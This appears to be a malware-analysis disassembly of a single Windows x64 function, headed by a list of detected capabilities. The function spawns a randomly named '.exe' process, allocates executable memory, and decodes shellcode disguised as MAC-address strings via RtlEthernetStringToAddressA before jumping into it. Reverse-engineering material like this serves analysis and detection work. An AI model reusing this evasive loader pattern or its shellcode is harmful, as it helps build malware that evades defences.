Function at 0x140002450
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1820]
mov eax, 0x1920
call fcn.140019eb0
sub rsp, rax
mov rax, qword [0x140077008]
xor rax, rsp
mov qword [rbp + 0x1810], rax
call fcn.140003fa0
mov dword [rbp + 0x484], eax
mov edx, 1
mov dword [rbp + 0x1804], 0xffffffff
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x484], eax
inc rdx
cmp rdx, 0x270
jb 0x1400024a0
xor edi, edi
mov dword [rbp + 0x480], 0x270
mov ebx, edi
xorps xmm0, xmm0
mov r14d, 0xf
mov qword [rbp - 0x50], rbx
movups xmmword [rbp - 0x60], xmm0
lea esi, [rdi + 0xa]
mov qword [rbp - 0x48], r14
mov byte [rbp - 0x60], bl
nop dword [rax + rax]
lea rcx, [rbp + 0x480]
call fcn.1400035b0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x140002527
nop word [rax + rax]
lea rcx, [rbp + 0x480]
call fcn.1400035b0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x140002510
shr rax, 0x20
add al, 0x61
cmp rbx, r14
jae 0x140002551
lea rcx, [rbx + 1]
cmp r14, 0x10
mov qword [rbp - 0x50], rcx
lea rcx, [rbp - 0x60]
cmovae rcx, qword [rbp - 0x60]
mov byte [rcx + rbx], al
mov byte [rcx + rbx + 1], dil
jmp 0x14000255e
movzx r9d, al
lea rcx, [rbp - 0x60]
call fcn.140002e50
sub rsi, 1
je 0x14000256e
mov r14, qword [rbp - 0x48]
mov rbx, qword [rbp - 0x50]
jmp 0x1400024f0
mov r14, qword [rbp - 0x50]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 4
jb 0x140002943
cmp qword [rbp - 0x48], 0x10
lea rbx, [rbp - 0x40]
mov qword [rsp + 0x1940], r12
mov esi, 0xf
mov qword [rsp + 0x1948], r15
lea r12, [rbp - 0x60]
cmovae r12, qword [rbp - 0x60]
lea r15, [r14 + 4]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
cmp r15, rsi
jbe 0x14000263d
mov rsi, r15
or rsi, 0xf
cmp rsi, rcx
jbe 0x1400025d4
mov rsi, rcx
jmp 0x1400025e0
mov eax, 0x16
cmp rsi, rax
cmovb rsi, rax
mov rcx, rsi
mov rax, 0xffffffffffffffff
add rcx, 1
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140002627
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002949
mov rcx, rax
call fcn.1400041b0
test rax, rax
je 0x14000294f
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002639
test rcx, rcx
je 0x140002636
call fcn.1400041b0
mov rbx, rax
jmp 0x140002639
mov rbx, rdi
mov qword [rbp - 0x40], rbx
mov r8, r14
mov qword [rbp - 0x30], r15
mov rdx, r12
mov qword [rbp - 0x28], rsi
mov rcx, rbx
call fcn.140009cf0
mov dword [r14 + rbx], 0x6578652e
lea rcx, [rbp + 0x70]
xor edx, edx
mov byte [rbx + r15], dil
mov r8d, 0x408
call fcn.1400061e0
call fcn.140003b40
mov qword [rbp + 0x70], rax
test rax, rax
je 0x140002955
xor edx, edx
lea rcx, [rbp + 0x78]
mov r8d, 0x400
call fcn.1400061e0
mov edx, 0x400
lea rcx, [rbp + 0x78]
call fcn.14000d550
cmp qword [rbp - 0x28], 0x10
lea r9, [rbp - 0x40]
lea rcx, [rbp + 0x70]
cmovae r9, qword [rbp - 0x40]
call fcn.140003880
test al, al
je 0x14000289d
lea rcx, [rsp + 0x70]
call fcn.140002300
mov rcx, rax
cmp qword [rax + 0x18], 8
jb 0x1400026d7
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x70], rcx
call fcn.140003c40
movaps xmm0, xmmword [rbp - 0x70]
lea r8, [rbp - 0x70]
mov edx, eax
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rsp + 0x50]
call fcn.140003740
cmp qword [rbp - 0x28], 0x10
lea rdx, [rbp - 0x40]
mov r8, qword [rbp - 0x30]
lea rcx, [rsp + 0x50]
cmovae rdx, qword [rbp - 0x40]
call fcn.140002b40
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x20], xmm0
movdqu xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140002787
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002782
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002976
call fcn.1400041f4
mov rdx, qword [rbp - 0x78]
movdqa xmm0, xmmword [0x1400738b0]
mov byte [rsp + 0x50], dil
movdqu xmmword [rsp + 0x60], xmm0
cmp rdx, 8
jb 0x1400027db
mov rcx, qword [rsp + 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002976
call fcn.1400041f4
xorps xmm0, xmm0
mov dword [rbp], 0x68
xor eax, eax
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
mov dword [rbp + 0x64], eax
cmovae rcx, qword [rbp - 0x20]
xor r9d, r9d
mov qword [rbp - 0x50], rax
xor r8d, r8d
lea rax, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
movups xmmword [rbp - 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002862
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000289d
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002898
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000293d
call fcn.1400041f4
mov ecx, 0x2af8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
mov edx, 0x13cb6
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r12, str.E9_43_04_00_00_CC
mov qword [rbp - 0x70], rdi
mov r14, rax
lea r15, vtable.type_info.0
mov rbx, r12
mov esi, edi
nop dword [rax]
mov rcx, qword [rbx]
lea rdx, [rbp - 0x70]
movsxd r8, edi
add r8, r14
call qword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
test eax, eax
js 0x140002915
add edi, 6
inc esi
add rbx, 8
cmp rbx, r15
jl 0x1400028e0
call r14
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002930
movsxd rdx, esi
lea rcx, str.____RtlEthernetStringToAddressA_failed_for__s_result__x
mov r8d, eax
mov rdx, qword [r12 + rdx*8]
call fcn.140001010
call r14
nop
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002930
call fcn.14000c988
int3
call fcn.140001260
int3
call fcn.1400011c0
int3
call fcn.14000c988
int3
lea rdx, str.Error:
lea rcx, [rbp - 0x60]
call fcn.140001060
lea rdx, [0x140076308]
lea rcx, [rbp - 0x60]
call fcn.140005ea4
int3
call fcn.14000c988
int3